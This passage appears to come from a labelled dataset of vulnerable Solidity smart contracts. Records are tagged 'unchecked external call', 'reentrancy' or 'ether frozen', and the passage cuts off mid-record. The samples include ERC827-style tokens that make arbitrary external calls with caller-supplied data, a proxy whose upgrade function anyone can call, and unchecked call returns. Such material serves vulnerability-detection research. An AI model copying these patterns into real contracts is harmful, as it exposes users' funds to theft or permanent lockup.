unhold. ///@return `true` on success; `false` of failure (if caller is a contract) or throw an exception (if caller is not a contract) // function unholdSubscription(uint subId) public notSuspended noReentrancy(L05) returns (bool success) { Subscription storage sub = subscriptions[subId]; assert (_isSubscription(sub)); var _to = sub.transferTo; require (msg.sender == _to || msg.sender == sub.transferFrom); //only customer or provider can place the subscription on hold. if (sub.onHoldSince > 0) { if (msg.sender == _to || ServiceProvider(_to).onSubUnHold(subId, msg.sender, false)) { // <=== possible reentrancy sub.paidUntil += now - sub.onHoldSince; sub.onHoldSince = 0; SubOnHold(subId, false, msg.sender); return true; } } if (isContract(msg.sender)) { return false; } else { throw; } } // ************************************************* // * deposit handling * // ************************************************* ///@notice can be called by provider on CANCELED subscription to return a subscription deposit to customer immediately. /// Customer can anyway collect his deposit after `paidUntil` period is over. ///@param subId - subscription holding the deposit // function returnSubscriptionDesposit(uint subId) public notSuspended { Subscription storage sub = subscriptions[subId]; assert (_subscriptionState(sub) == SubState.CANCELED); assert (sub.depositAmount > 0); //sanity check assert (sub.transferTo == msg.sender || owner == msg.sender); //only subscription owner or platform owner is allowed to release deposit. sub.expireOn = now; _returnSubscriptionDesposit(subId, sub); } ///@notice called by customer on EXPIRED subscription (`paidUntil` period is over) to collect a subscription deposit. /// Customer can anyway collect his deposit after `paidUntil` period is over. ///@param subId - subscription holding the deposit // function claimSubscriptionDeposit(uint subId) public notSuspended { Subscription storage sub = subscriptions[subId]; assert (_subscriptionState(sub) == SubState.EXPIRED); assert (sub.transferFrom == msg.sender); assert (sub.depositAmount > 0); _returnSubscriptionDesposit(subId, sub); } //@dev returns subscription deposit to customer function _returnSubscriptionDesposit(uint subId, Subscription storage sub) internal { uint depositAmount = sub.depositAmount; sub.depositAmount = 0; san._mintFromDeposit(sub.transferFrom, depositAmount); SubscriptionDepositReturned(subId, depositAmount, sub.transferFrom, msg.sender); } ///@notice create simple unlocked deposit, required by some services. It can be considered as prove of customer's stake. /// This desposit can be claimed back by the customer at anytime. /// The service provider is responsible to check the deposit before providing the service. ///@param _value - non zero deposit amount. ///@param _descriptor - is a uniq key, usually given by service provider to the customer in order to make this deposit unique. /// Service Provider should reject deposit with unknown descriptor, because most probably it is in use for some another service. ///@return depositId - a handle to claim back the deposit later. // function createDeposit(uint _value, uint _lockTime, bytes _descriptor) public notSuspended returns (uint depositId) { require (_value > 0); assert (san._burnForDeposit(msg.sender,_value)); deposits[++depositCounter] = Deposit ({ owner : msg.sender, value : _value, createdOn : now, lockTime : _lockTime, descriptor : _descriptor }); NewDeposit(depositCounter, _value, _lockTime, msg.sender); return depositCounter; } ///@notice return previously created deposit to the user. User can collect only own deposit. /// The service provider is responsible to check the deposit before providing the service. ///@param _depositId - an id of the deposit to be collected. // function claimDeposit(uint _depositId) public notSuspended { var deposit = deposits[_depositId]; require (deposit.owner == msg.sender); assert (deposit.lockTime == 0 || deposit.createdOn + deposit.lockTime < now); var value = deposits[_depositId].value; delete deposits[_depositId]; san._mintFromDeposit(msg.sender, value); DepositReturned(_depositId, msg.sender); } // ************************************************* // * some internal functions * // ************************************************* function _amountToCharge(Subscription storage sub) internal reentrant returns (uint) { return _applyXchangeRate(sub.pricePerHour * sub.chargePeriod, sub) / 1 hours; // <==== reentrant function usage } function _applyXchangeRate(uint amount, Subscription storage sub) internal reentrant returns (uint) { // <== actually called from reentrancy guarded context only (i.e. externally secured) if (sub.xrateProviderId > 0) { // xrate_n: nominator // xrate_d: denominator of the exchange rate fraction. var (xrate_n, xrate_d) = XRateProvider(xrateProviders[sub.xrateProviderId]).getRate(); // <=== possible reentrancy amount = amount * sub.initialXrate_n * xrate_d / sub.initialXrate_d / xrate_n; } return amount; } function _isOffer(Subscription storage sub) internal constant returns (bool){ return sub.transferFrom == 0 && sub.transferTo != 0; } function _isSubscription(Subscription storage sub) internal constant returns (bool){ return sub.transferFrom != 0 && sub.transferTo != 0; } function _exists(Subscription storage sub) internal constant returns (bool){ return sub.transferTo != 0; //existing subscription or offer has always transferTo set. } modifier onlyRegisteredProvider(){ if (!providerRegistry[msg.sender]) throw; _; } modifier notSuspended { if (suspendedUntil > now) throw; _; } } //SubscriptionModuleImpl",./Dataset/unchecked external call (UC),7,7 21513.sol,"pragma solidity ^0.4.16; /** * @title ERC827 interface, an extension of ERC20 token standard * Interface of a ERC827 token, following the ERC20 standard with extra * methods to transfer value and data and execute calls in transfers and * approvals. */ contract ERC827 { function approve( address _spender, uint256 _value, bytes _data ) public returns (bool); function transfer( address _to, uint256 _value, bytes _data ) public returns (bool); function transferFrom( address _from, address _to, uint256 _value, bytes _data ) public returns (bool); } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for *; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title ERC827, an extension of ERC20 token standard * Implementation the ERC827, following the ERC20 standard with extra * methods to transfer value and data and execute calls in transfers and * approvals. * Uses OpenZeppelin StandardToken. */ contract ERC827Token is ERC827, StandardToken { /** * @dev Addition to ERC20 token methods. It allows to * approve the transfer of value and execute a call with the sent data. * Beware that changing an allowance with this method brings the risk that * someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race condition * is to first reduce the spender's allowance to 0 and set the desired value * afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * @param _spender The address that will spend the funds. * @param _value The amount of tokens to be spent. * @param _data ABI-encoded contract call to call `_to` address. * @return true if the call function was executed successfully */ function approve(address _spender, uint256 _value, bytes _data) public returns (bool) { require(_spender != address(this)); super.approve(_spender, _value); require(_spender.call(_data)); return true; } /** @dev Addition to ERC20 token methods. Transfer tokens to a specified address and execute a call with the sent data on the same transaction @param _to address The address which you want to transfer to @param _value uint256 the amout of tokens to be transfered @param _data ABI-encoded contract call to call `_to` address. @return true if the call function was executed successfully */ function transfer(address _to, uint256 _value, bytes _data) public returns (bool) { require(_to != address(this)); super.transfer(_to, _value); require(_to.call(_data)); return true; } /** @dev Addition to ERC20 token methods. Transfer tokens from one address to another and make a contract call on the same transaction @param _from The address which you want to send tokens from @param _to The address which you want to transfer to @param _value The amout of tokens to be transferred @param _data ABI-encoded contract call to call `_to` address. @return true if the call function was executed successfully */ function transferFrom(address _from, address _to, uint256 _value, bytes _data) public returns (bool) { require(_to != address(this)); super.transferFrom(_from, _to, _value); require(_to.call(_data)); return true; } /** * @dev Addition to StandardToken methods. Increase the amount of tokens that * an owner allowed to a spender and execute a call with the sent data. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. * @param _data ABI-encoded contract call to call `_spender` address. */ function increaseApproval(address _spender, uint _addedValue, bytes _data) public returns (bool) { require(_spender != address(this)); super.increaseApproval(_spender, _addedValue); require(_spender.call(_data)); return true; } /** * @dev Addition to StandardToken methods. Decrease the amount of tokens that * an owner allowed to a spender and execute a call with the sent data. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. * @param _data ABI-encoded contract call to call `_spender` address. */ function decreaseApproval(address _spender, uint _subtractedValue, bytes _data) public returns (bool) { require(_spender != address(this)); super.decreaseApproval(_spender, _subtractedValue); require(_spender.call(_data)); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); Burn(burner, _value); } } /** * @title Pausable token * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is BurnableToken, StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is PausableToken { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract ShittyToken is Ownable, MintableToken, ERC827Token { using SafeMath for *; string public constant NAME = ""Shitty Token""; // solium-disable-line uppercase string public constant SYMBOL = ""SHIT""; // solium-disable-line uppercase uint8 public constant DECIMALS = 18; // solium-disable-line uppercase uint256 public constant INITIAL_SUPPLY = 10000 * (10 ** uint256(DECIMALS)); /** * @dev Constructor that gives msg.sender all of existing tokens. */ function TokenUnionToken() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; Transfer(0x0, msg.sender, INITIAL_SUPPLY); } }",./Dataset/reentrancy (RE)/,5,5 29842.sol,"pragma solidity ^0.4.18; contract LANDStorage { mapping (address => uint) latestPing; uint256 constant clearLow = 0xffffffffffffffffffffffffffffffff00000000000000000000000000000000; uint256 constant clearHigh = 0x00000000000000000000000000000000ffffffffffffffffffffffffffffffff; uint256 constant factor = 0x100000000000000000000000000000000; } contract AssetRegistryStorage { string internal _name; string internal _symbol; string internal _description; uint256 internal _count; mapping(address => uint256[]) internal _assetsOf; mapping(uint256 => address) internal _holderOf; mapping(uint256 => uint256) internal _indexOfAsset; mapping(uint256 => string) internal _assetData; mapping(address => mapping(address => bool)) internal _operators; bool internal _reentrancy; } contract OwnableStorage { address public owner; function OwnableStorage() internal { owner = msg.sender; } } contract ProxyStorage { address currentContract; } contract Storage is ProxyStorage, OwnableStorage, AssetRegistryStorage, LANDStorage { } contract DelegateProxy { function delegatedFwd(address _dst, bytes _calldata) internal { require(isContract(_dst)); assembly { let result := delegatecall(sub(gas, 10000), _dst, add(_calldata, 0x20), mload(_calldata), 0, 0) let size := returndatasize let ptr := mload(0x40) returndatacopy(ptr, 0, size) switch result case 0 { revert(ptr, size) } default { return(ptr, size) } } } function isContract(address _target) constant internal returns (bool) { uint256 size; assembly { size := extcodesize(_target) } return size > 0; } } contract IApplication { function initialize(bytes data) public; } contract Proxy is ProxyStorage, DelegateProxy { event Upgrade(address indexed newContract, bytes initializedWith); function upgrade(IApplication newContract, bytes data) public { currentContract = newContract; newContract.initialize(data); Upgrade(newContract, data); } function () payable public { require(currentContract != 0); delegatedFwd(currentContract, msg.data); } } contract LANDProxy is Storage, Proxy { }",./Dataset/ether frozen (EF),2,2 32969.sol,"pragma solidity ^0.4.17; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract DNERO is StandardToken { function () { throw; } string public name; uint8 public decimals; string public symbol; string public version = 'H1.0'; function DNERO( ) { balances[msg.sender] = 1000000000000000000000000000; totalSupply = 1000000000000000000000000000; name = ""dNero""; decimals = 18; symbol = ""DNR""; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/unchecked external call (UC),7,7 35249.sol,"pragma solidity ^0.4.15; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** @title SmartToken, an extension of ERC20 token standard Implementation the SmartToken, following the ERC20 standard with extra methods to transfer value and data and execute calls in transfers and approvals. Uses OpenZeppelin StandardToken. */ contract SmartToken is StandardToken { /** @dev `approveData` is an addition to ERC20 token methods. It allows to approve the transfer of value and execute a call with the sent data. Beware that changing an allowance with this method brings the risk that someone may use both the old and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 @param _spender The address that will spend the funds. @param _value The amount of tokens to be spent. @param _data ABI-encoded contract call to call `_to` address. @return true if the call function was executed successfully */ function approveData(address _spender, uint256 _value, bytes _data) returns (bool) { require(_spender != address(this)); super.approve(_spender, _value); require(_spender.call(_data)); return true; } /** @dev Addition to ERC20 token methods. Transfer tokens to a specified address and execute a call with the sent data on the same transaction @param _to address The address which you want to transfer to @param _value uint256 the amout of tokens to be transfered @param _data ABI-encoded contract call to call `_to` address. @return true if the call function was executed successfully */ function transferData(address _to, uint256 _value, bytes _data) public returns (bool) { require(_to != address(this)); require(_to.call(_data)); super.transfer(_to, _value); return true; } /** @dev Addition to ERC20 token methods. Transfer tokens from one address to another and make a contract call on the same transaction @param _from The address which you want to send tokens from @param _to The address which you want to transfer to @param _value The amout of tokens to be transferred @param _data ABI-encoded contract call to call `_to` address. @return true if the call function was executed successfully */ function transferDataFrom(address _from, address _to, uint256 _value, bytes _data) public returns (bool) { require(_to != address(this)); require(_to.call(_data)); super.transferFrom(_from, _to, _value); return true; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(0x0, _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner public returns (bool) { mintingFinished = true; MintFinished(); return true; } } /** @title Líf, the Winding Tree token Implementation of Líf, the ERC20 token for Winding Tree, with extra methods to transfer value and data to execute a call on transfer. Uses OpenZeppelin MintableToken and Pausable. */ contract LifToken is SmartToken, MintableToken, Pausable { // Token Name string public constant NAME = ""Líf""; // Token Symbol string public constant SYMBOL = ""LIF""; // Token decimals uint public constant DECIMALS = 18; function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approveData(address spender, uint256 value, bytes data) public whenNotPaused returns (bool) { return super.approveData(spender, value, data); } function transferData(address to, uint256 value, bytes data) public whenNotPaused returns (bool) { return super.transferData(to, value, data); } function transferDataFrom(address from, address to, uint256 value, bytes data) public whenNotPaused returns (bool) { return super.transferDataFrom(from, to, value, data); } /** @dev Burns a specific amount of tokens. @param _value The amount of tokens to be burned. */ function burn(uint256 _value) public whenNotPaused { require(_value > 0); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); // a Transfer event to 0x0 can be useful for observers to keep track of // all the Lif by just looking at those events Transfer(burner, address(0), _value); } event Burn(address indexed burner, uint value); }",./Dataset/unchecked external call (UC),7,7 33176.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the 